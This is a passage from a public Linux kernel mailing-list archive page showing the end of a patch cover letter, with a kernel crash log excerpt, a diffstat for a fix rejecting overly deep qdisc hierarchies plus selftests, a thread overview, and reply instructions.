[  192.468388][    C0] Code: 55 48 89 e5 41 57 41 56 41 55 49 bd 00 00 00 00 00 fc ff df 41 54 49 89 fc 53 48 89 f3 48 83 e4 f0 48 83 c4 80 4c 8d 74 24 20 <48> 89 54 24 18 48 c7 44 24 20 b3 8a b5 41 49 c1 ee 03 48 c7 44 24
[  192.468394][    C0] RSP: 0018:ffffc9000dbd7fe0 EFLAGS: 00010283
[  192.468399][    C0] RAX: ffffffff89a12450 RBX: ffff88804c17cc00 RCX: ffffffff89a1298d
[  192.468410][    C0] RDX: ffffc9000dbdf380 RSI: ffff88804c17cc00 RDI: ffff88803c2ca580
[  192.468414][    C0] RBP: ffffc9000dbd8090 R08: 0000000000000005 R09: 000000000000ffff
[  192.468418][    C0] R10: 0000000000000000 R11: 0000000000000001 R12: ffff88803c2ca580
[  192.468422][    C0] R13: dffffc0000000000 R14: ffffc9000dbd8000 R15: ffff88804c179280
[  192.468426][    C0] FS:  00007f69fe54f000(0000) GS:ffff8880d62af000(0000) knlGS:0000000000000000
[  192.468437][    C0] CS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033
[  192.468442][    C0] CR2: ffffc9000dbd7fd8 CR3: 000000004b49e000 CR4: 0000000000352ef0
[  192.468455][    C0] Kernel panic - not syncing: Fatal exception in interrupt
[  192.469576][    C0] Kernel Offset: disabled

-----END crash log-----

Best regards,
Zijie Huang


Zijie Huang (2):
  net/sched: reject overly deep qdisc hierarchies
  selftests/tc-testing: add qdisc hierarchy depth tests

 include/net/sch_generic.h                     |  1 +
 net/sched/sch_api.c                           |  9 +++
 .../tc-testing/tc-tests/qdiscs/depth.json     | 74 +++++++++++++++++++
 3 files changed, 84 insertions(+)
 create mode 100644 tools/testing/selftests/tc-testing/tc-tests/qdiscs/depth.json

-- 
2.47.2


             reply	other threads:[~2026-08-01 13:42 UTC|newest]

Thread overview: 8+ messages / expand[flat|nested]  mbox.gz  Atom feed  top
2026-08-01 13:42 Ren Wei [this message]
2026-08-01 13:42 ` [PATCH net v2 1/2] net/sched: reject overly deep qdisc hierarchies Ren Wei
2026-08-01 14:11   ` Jamal Hadi Salim
2026-08-01 14:30     ` Zijie Huang
2026-08-01 16:27   ` Victor Nogueira
2026-08-01 13:42 ` [PATCH net v2 2/2] selftests/tc-testing: add qdisc hierarchy depth tests Ren Wei
2026-08-01 16:35   ` Victor Nogueira
2026-08-01 14:13 ` [PATCH net v2 0/2] net/sched: fix qdisc graft hierarchy validation Jamal Hadi Salim

Reply instructions:

You may reply publicly to this message via plain-text email
using any one of the following methods:

* Save the following mbox file, import it into your mail client,
  and reply-to-all from there: mbox

  Avoid top-posting and favor interleaved quoting:
  https://en.wikipedia.org/wiki/Posting_style#Interleaved_style

* Reply using the --to, --cc, and --in-reply-to
  switches of git-send-email(1):

  git send-email \
    --in-reply-to=cover.1785434373.git.milkory@outlook.com \
    --to=enjou1224z@gmail.com \
    --cc=davem@davemloft.net \
    --cc=edumazet@google.com \
    --cc=horms@kernel.org \
    --cc=jhs@mojatatu.com \
    --cc=jiri@resnulli.us \
    --cc=kuba@kernel.org \
    --cc=linux-kernel@vger.kernel.org \
    --cc=linux-kselftest@vger.kernel.org \
    --cc=milkory@outlook.com \
    --cc=netdev@vger.kernel.org \
    --cc=pabeni@redhat.com \
    --cc=vega@nebusec.ai \
    /path/to/YOUR_REPLY

  https://kernel.org/pub/software/scm/git/docs/git-send-email.html

* If your mail client supports setting the In-Reply-To header
  via mailto: links, try the mailto: link
Be sure your reply has a Subject: header at the top and a blank line before the message body.
This is a public inbox, see mirroring instructions
for how to clone and mirror all data and code used for this inbox